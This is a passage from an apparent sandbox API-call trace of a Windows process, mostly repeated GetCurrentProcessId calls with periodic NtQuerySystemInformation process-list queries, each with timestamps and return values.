0x10c0 [0219.187] GetCurrentProcessId () returned 0x10c0 [0219.187] GetCurrentProcessId () returned 0x10c0 [0219.187] GetCurrentProcessId () returned 0x10c0 [0219.187] GetCurrentProcessId () returned 0x10c0 [0219.187] GetCurrentProcessId () returned 0x10c0 [0219.187] GetCurrentProcessId () returned 0x10c0 [0219.187] GetCurrentProcessId () returned 0x10c0 [0219.187] GetCurrentProcessId () returned 0x10c0 [0219.187] GetCurrentProcessId () returned 0x10c0 [0219.187] GetCurrentProcessId () returned 0x10c0 [0219.187] GetCurrentProcessId () returned 0x10c0 [0219.188] GetCurrentProcessId () returned 0x10c0 [0219.188] GetCurrentProcessId () returned 0x10c0 [0219.188] GetCurrentProcessId () returned 0x10c0 [0219.188] GetCurrentProcessId () returned 0x10c0 [0219.188] GetCurrentProcessId () returned 0x10c0 [0219.188] GetCurrentProcessId () returned 0x10c0 [0219.188] GetCurrentProcessId () returned 0x10c0 [0219.188] GetCurrentProcessId () returned 0x10c0 [0219.188] GetCurrentProcessId () returned 0x10c0 [0219.188] GetCurrentProcessId () returned 0x10c0 [0219.188] GetCurrentProcessId () returned 0x10c0 [0219.188] GetCurrentProcessId () returned 0x10c0 [0219.188] GetCurrentProcessId () returned 0x10c0 [0219.188] GetCurrentProcessId () returned 0x10c0 [0219.188] GetCurrentProcessId () returned 0x10c0 [0219.810] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dea0) returned 0x0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.140] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.141] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.142] GetCurrentProcessId () returned 0x10c0 [0221.143] GetCurrentProcessId () returned 0x10c0 [0221.143] GetCurrentProcessId () returned 0x10c0 [0221.143] GetCurrentProcessId () returned 0x10c0 [0221.143] GetCurrentProcessId () returned 0x10c0 [0221.143] GetCurrentProcessId () returned 0x10c0 [0221.143] GetCurrentProcessId () returned 0x10c0 [0221.143] GetCurrentProcessId () returned 0x10c0 [0221.143] GetCurrentProcessId () returned 0x10c0 [0221.143] GetCurrentProcessId () returned 0x10c0 [0221.143] GetCurrentProcessId () returned 0x10c0 [0221.143] GetCurrentProcessId () returned 0x10c0 [0221.143] GetCurrentProcessId () returned 0x10c0 [0221.143] GetCurrentProcessId () returned 0x10c0 [0221.143] GetCurrentProcessId () returned 0x10c0 [0221.143] GetCurrentProcessId () returned 0x10c0 [0221.143] GetCurrentProcessId () returned 0x10c0 [0221.143] GetCurrentProcessId () returned 0x10c0 [0221.143] GetCurrentProcessId () returned 0x10c0 [0221.143] GetCurrentProcessId () returned 0x10c0 [0221.143] GetCurrentProcessId () returned 0x10c0 [0221.143] GetCurrentProcessId () returned 0x10c0 [0221.143] GetCurrentProcessId () returned 0x10c0 [0221.143] GetCurrentProcessId () returned 0x10c0 [0221.143] GetCurrentProcessId () returned 0x10c0 [0221.143] GetCurrentProcessId () returned 0x10c0 [0221.143] GetCurrentProcessId () returned 0x10c0 [0221.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1de50) returned 0x0 [0226.972] GetCurrentProcessId () returned 0x10c0 [0226.972] GetCurrentProcessId () returned 0x10c0 [0226.972] GetCurrentProcessId () returned 0x10c0 [0226.972] GetCurrentProcessId () returned 0x10c0 [0226.972] GetCurrentProcessId () returned 0x10c0 [0226.972] GetCurrentProcessId () returned 0x10c0 [0226.972] GetCurrentProcessId () returned 0x10c0 [0226.972] GetCurrentProcessId () returned 0x10c0 [0226.972] GetCurrentProcessId () returned 0x10c0 [0226.972] GetCurrentProcessId () returned 0x10c0 [0226.972] GetCurrentProcessId () returned 0x10c0 [0226.972] GetCurrentProcessId () returned 0x10c0 [0226.972] GetCurrentProcessId () returned 0x10c0 [0226.972] GetCurrentProcessId () returned 0x10c0 [0226.972] GetCurrentProcessId () returned 0x10c0 [0226.972] GetCurrentProcessId () returned 0x10c0 [0226.972] GetCurrentProcessId () returned 0x10c0 [0226.972] GetCurrentProcessId () returned 0x10c0 [0226.972] GetCurrentProcessId () returned 0x10c0 [0226.972] GetCurrentProcessId () returned 0x10c0 [0226.972] GetCurrentProcessId () returned 0x10c0 [0226.972] GetCurrentProcessId () returned 0x10c0 [0226.972] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.973] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.974] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.975] GetCurrentProcessId () returned 0x10c0 [0226.976] GetCurrentProcessId () returned 0x10c0 [0226.976] GetCurrentProcessId () returned 0x10c0 [0227.589] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dbb0) returned 0x0 [0227.592] GetCurrentProcessId () returned 0x10c0 [0227.592] GetCurrentProcessId () returned 0x10c0 [0227.592] GetCurrentProcessId () returned 0x10c0 [0227.592] GetCurrentProcessId () returned 0x10c0 [0227.592] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.593] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.594] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.595] GetCurrentProcessId () returned 0x10c0 [0227.596] GetCurrentProcessId () returned 0x10c0 [0227.596] GetCurrentProcessId () returned 0x10c0 [0227.596] GetCurrentProcessId () returned 0x10c0 [0227.596] GetCurrentProcessId () returned 0x10c0 [0227.596] GetCurrentProcessId () returned 0x10c0 [0227.596] GetCurrentProcessId () returned 0x10c0 [0227.596] GetCurrentProcessId () returned 0x10c0 [0227.596] GetCurrentProcessId () returned 0x10c0 [0227.596] GetCurrentProcessId () returned 0x10c0 [0227.596] GetCurrentProcessId () returned 0x10c0 [0227.596] GetCurrentProcessId () returned 0x10c0 [0227.596] GetCurrentProcessId () returned 0x10c0 [0227.596] GetCurrentProcessId () returned 0x10c0 [0227.596] GetCurrentProcessId () returned 0x10c0 [0227.596] GetCurrentProcessId () returned 0x10c0 [0227.596] GetCurrentProcessId () returned 0x10c0 [0227.596] GetCurrentProcessId () returned 0x10c0 [0227.596] GetCurrentProcessId () returned 0x10c0 [0227.596] GetCurrentProcessId () returned 0x10c0 [0227.596] GetCurrentProcessId () returned 0x10c0 [0228.212] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dbb0) returned 0x0 [0228.214] GetCurrentProcessId () returned 0x10c0 [0228.214] GetCurrentProcessId () returned 0x10c0 [0228.214] GetCurrentProcessId () returned 0x10c0 [0228.214] GetCurrentProcessId () returned 0x10c0 [0228.214] GetCurrentProcessId () returned 0x10c0 [0228.214] GetCurrentProcessId () returned 0x10c0 [0228.214] GetCurrentProcessId () returned 0x10c0 [0228.214] GetCurrentProcessId () returned 0x10c0 [0228.214] GetCurrentProcessId () returned 0x10c0 [0228.214] GetCurrentProcessId () returned 0x10c0 [0228.214] GetCurrentProcessId () returned 0x10c0 [0228.214] GetCurrentProcessId () returned 0x10c0 [0228.214] GetCurrentProcessId () returned 0x10c0 [0228.214] GetCurrentProcessId () returned 0x10c0 [0228.214] GetCurrentProcessId () returned 0x10c0 [0228.214] GetCurrentProcessId () returned 0x10c0 [0228.214] GetCurrentProcessId () returned 0x10c0 [0228.214] GetCurrentProcessId () returned 0x10c0 [0228.214] GetCurrentProcessId () returned 0x10c0 [0228.214] GetCurrentProcessId () returned 0x10c0 [0228.214] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.215] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.216] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.217] GetCurrentProcessId () returned 0x10c0 [0228.822] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db60) returned 0x0 [0228.849] GetCurrentProcessId () returned 0x10c0 [0228.849] GetCurrentProcessId () returned 0x10c0 [0228.849] GetCurrentProcessId () returned 0x10c0 [0228.849] GetCurrentProcessId () returned 0x10c0 [0228.849] GetCurrentProcessId () returned 0x10c0 [0228.849] GetCurrentProcessId () returned 0x10c0 [0228.849] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.850] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.851] GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.852] 